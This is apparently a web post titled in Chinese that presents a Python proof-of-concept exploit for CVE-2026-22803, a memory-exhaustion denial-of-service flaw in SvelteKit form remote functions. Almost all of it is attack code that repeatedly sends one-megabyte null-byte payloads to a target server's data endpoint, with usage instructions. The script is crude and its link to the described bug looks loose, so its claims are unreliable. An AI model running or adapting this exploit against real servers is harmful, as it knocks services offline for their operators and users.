CVE-2026-22803 SvelteKit form remote function内存耗尽拒绝服务漏洞

import requests import sys # CVE-2026-22803 PoC - SvelteKit Memory Exhaustion DoS # Target: SvelteKit servers with form action enabled (versions 2.49.0-2.49.4) def exploit_sveltekit(target_url): """ Exploit SvelteKit form remote function memory exhaustion vulnerability. Send specially crafted binary payload to trigger excessive memory allocation. """ # Create a large binary payload that triggers memory exhaustion # The form data is serialized using a binary format # Sending repeated large payloads can exhaust server memory # Form action endpoint endpoint = f"{target_url.rstrip('/')}/?__data.json" # Create large payload with repeated form data fields # This triggers excessive memory allocation in the binary parser large_payload = b'\x00' * 1024 * 1024 # 1MB of null bytes # Additional crafted data to trigger parsing vulnerability exploit_data = { '__data': large_payload, 'form': 'remote' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending exploit payload to: {endpoint}") print(f"[*] Payload size: {len(large_payload)} bytes") try: # Send multiple requests to exhaust memory for i in range(10): print(f"[*] Sending request {i+1}/10...") response = requests.post(endpoint, data=exploit_data, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - server may be exhausted") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_sveltekit(target)